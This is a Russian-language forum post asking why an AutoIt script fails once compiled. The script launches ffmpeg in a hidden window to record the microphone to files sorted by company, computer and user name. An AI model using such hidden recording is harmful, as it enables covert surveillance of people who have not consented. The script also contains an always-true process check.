Что нового

Не запускается скомпилированный exe

retker

Новичок
Сообщения
2
Репутация
0
Добрый день! Имеется скрипт *.au3 который отрабатывает без проблем если его запускать без компиляции , но если его скомпилировать в *.exe тогда программа не запускается. Стоит отметить что тестировал специально на голой системе win7 с выключенным антивирусом. UAC выключал. Запускал от администратора. Ничего не помогает.
ffmpeg.exe - стороняя программа, которая используется для записи.

Сам скрипт:
Код:
If $CmdLine[0] = 0 Then
$company="unsorted"
Else
$company=$CmdLine[1]
EndIf

$computery=@ComputerName;
$user=@UserName;
$mainPath = 'D:\rec\' & $company & '\' & $computery & '\' &  $user & '\';

If ProcessExists("ffmpeg.exe") OR ("recording.exe") Then
   ProcessClose("ffmpeg.exe")
   ProcessClose("recording.exe")
   Sleep(1000)
EndIf

$nowData = @YEAR & @MON & @MDAY & @HOUR & @MIN;
$fileRecName = $mainPath & $nowData & '.mp3';

If Not FileExists($mainPath) Then
   DirCreate($mainPath)
EndIf

$prog = 'ffmpeg.exe';
$probel = ' ';
$param1 = '-f dshow';
$param2 = '-i audio="Микрофон"';
$param3 = '-acodec libmp3lame';
$param4 = '-b:a 128k'

Run($prog & $probel & $param1 & $probel & $param2 & $probel & $param3 & $probel & $param4 & $probel & $fileRecName, "", @SW_HIDE);
Sleep(1000);
 
Верх